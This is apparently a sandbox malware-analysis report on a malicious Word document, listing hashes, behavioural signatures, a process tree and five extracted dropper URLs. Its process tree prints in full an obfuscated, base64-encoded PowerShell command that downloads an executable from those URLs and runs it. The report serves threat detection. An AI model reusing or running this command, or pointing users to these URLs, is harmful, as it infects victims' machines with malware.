Analysis

  • max time kernel
    124s
  • max time network
    95s
  • platform
    windows7_x64
  • resource
    win7-20220715-en
  • resource tags

    arch:x64arch:x86image:win7-20220715-enlocale:en-usos:windows7-x64system
  • submitted
    24-07-2022 20:27

General

  • Target

    e13b9bf9d03d25fea984a5ec113277a7ee1b22941e392cc3614867c272dd3fc4.doc

  • Size

    160KB

  • MD5

    1f8bfc4b4bd9efd8f6f5ffd29ec63b8a

  • SHA1

    adbc24fed7a68f97dd1a294c91d226b63bdbc7ca

  • SHA256

    e13b9bf9d03d25fea984a5ec113277a7ee1b22941e392cc3614867c272dd3fc4

  • SHA512

    1b35272f31b301d4386445d089ca4bdbc5ace2eebdbc4ecb612779e46003863aaeb77e610a325e8f22033fe8fb861aa98cd3da9ca908c9380bd843907a9b17cb

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://pressuredspeech.com/dngn/cEmgNTByQ/

exe.dropper

https://phoneringtones.info/wp-content/uploads/qx93_k68trw3j-15334/

exe.dropper

http://safeservicesfze.com/wp-admin/ZmVYmAXv/

exe.dropper

https://freewallpaperdesktop.com/wp-includes/50lz_zkln03lbc-8209361/

exe.dropper

http://noingoaithatthanhnam.com/wp-admin/voytvHre/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e13b9bf9d03d25fea984a5ec113277a7ee1b22941e392cc3614867c272dd3fc4.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:640
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:828
    • C:\Windows\System32\WindowsPowerShell\v1.0\powErSHell.exe
      powErSHell -e JABRADYAMgA1ADYANwAxADEAPQAnAFcAMQA3ADYANQAwAF8AJwA7ACQAcwA3ADUAXwA3ADkAIAA9ACAAJwA5ADUAOQAnADsAJAB3ADEAOQAyADYAOAAwAD0AJwBkADIANAAyADMAMwAnADsAJABuADgAMQBfADUANwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAcwA3ADUAXwA3ADkAKwAnAC4AZQB4AGUAJwA7ACQAbgA3ADIAOABfADIAPQAnAGkAOAA0ADMANwBfACcAOwAkAFAAMgAzADEAOQAzAD0ALgAoACcAbgBlACcAKwAnAHcAJwArACcALQBvAGIAagBlAGMAdAAnACkAIABuAEUAVAAuAFcAYABFAGIAYwBgAEwAYABpAEUAYABOAHQAOwAkAEsAOAAzAF8AOAA3AD0AJwBoAHQAdABwADoALwAvAHAAcgBlAHMAcwB1AHIAZQBkAHMAcABlAGUAYwBoAC4AYwBvAG0ALwBkAG4AZwBuAC8AYwBFAG0AZwBOAFQAQgB5AFEALwBAAGgAdAB0AHAAcwA6AC8ALwBwAGgAbwBuAGUAcgBpAG4AZwB0AG8AbgBlAHMALgBpAG4AZgBvAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBxAHgAOQAzAF8AawA2ADgAdAByAHcAMwBqAC0AMQA1ADMAMwA0AC8AQABoAHQAdABwADoALwAvAHMAYQBmAGUAcwBlAHIAdgBpAGMAZQBzAGYAegBlAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBaAG0AVgBZAG0AQQBYAHYALwBAAGgAdAB0AHAAcwA6AC8ALwBmAHIAZQBlAHcAYQBsAGwAcABhAHAAZQByAGQAZQBzAGsAdABvAHAALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvADUAMABsAHoAXwB6AGsAbABuADAAMwBsAGIAYwAtADgAMgAwADkAMwA2ADEALwBAAGgAdAB0AHAAOgAvAC8AbgBvAGkAbgBnAG8AYQBpAHQAaABhAHQAdABoAGEAbgBoAG4AYQBtAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB2AG8AeQB0AHYASAByAGUALwAnAC4AUwBQAEwASQBUACgAJwBAACcAKQA7ACQAdwA5ADMAOAAxAF8AOQA5AD0AJwBPADMAMQBfADQAMwAwADgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGwAMgA3ADAANwBfADQAIABpAG4AIAAkAEsAOAAzAF8AOAA3ACkAewB0AHIAeQB7ACQAUAAyADMAMQA5ADMALgBkAG8AVwBuAGwAbwBhAEQARgBpAGwARQAoACQAbAAyADcAMAA3AF8ANAAsACAAJABuADgAMQBfADUANwApADsAJAB3ADAAXwBfADkAXwBfAD0AJwB1ADYANwA2ADcAMgA2ACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAgACQAbgA4ADEAXwA1ADcAKQAuAEwARQBuAGcAdABIACAALQBnAGUAIAAyADAANgA5ADcAKQAgAHsAJgAoACcASQBuACcAKwAnAHYAbwBrAGUALQBJAHQAZQAnACsAJwBtACcAKQAgACQAbgA4ADEAXwA1ADcAOwAkAHIAOQA1ADgAXwAwAD0AJwBoADUAMQA0ADAAOQAnADsAYgByAGUAYQBrADsAJABJADkANABfADEAMQAwADMAPQAnAGkAOQA2ADkAMAAzADEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAZgA3ADIAMQAxADAAMAA9ACcAWgA3ADcAMAAzADAAXwAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1720

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/640-71-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/640-55-0x00000000702E1000-0x00000000702E3000-memory.dmp

      Filesize

      8KB

    • memory/640-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/640-57-0x00000000712CD000-0x00000000712D8000-memory.dmp

      Filesize

      44KB

    • memory/640-58-0x0000000075CD1000-0x0000000075CD3000-memory.dmp

      Filesize

      8KB

    • memory/640-61-0x00000000712CD000-0x00000000712D8000-memory.dmp

      Filesize

      44KB

    • memory/640-54-0x0000000072861000-0x0000000072864000-memory.dmp

      Filesize

      12KB

    • memory/640-72-0x00000000712CD000-0x00000000712D8000-memory.dmp

      Filesize

      44KB

    • memory/828-60-0x000007FEFBCC1000-0x000007FEFBCC3000-memory.dmp

      Filesize

      8KB

    • memory/1720-63-0x000007FEF40E0000-0x000007FEF4B03000-memory.dmp

      Filesize

      10.1MB

    • memory/1720-66-0x000000000266B000-0x000000000268A000-memory.dmp

      Filesize

      124KB

    • memory/1720-67-0x0000000002664000-0x0000000002667000-memory.dmp

      Filesize

      12KB

    • memory/1720-68-0x000000000266B000-0x000000000268A000-memory.dmp

      Filesize

      124KB

    • memory/1720-69-0x0000000002664000-0x0000000002667000-memory.dmp

      Filesize

      12KB

    • memory/1720-70-0x000000000266B000-0x000000000268A000-memory.dmp

      Filesize

      124KB

    • memory/1720-64-0x000007FEF3580000-0x000007FEF40DD000-memory.dmp

      Filesize

      11.4MB

    • memory/1720-65-0x0000000002664000-0x0000000002667000-memory.dmp

      Filesize

      12KB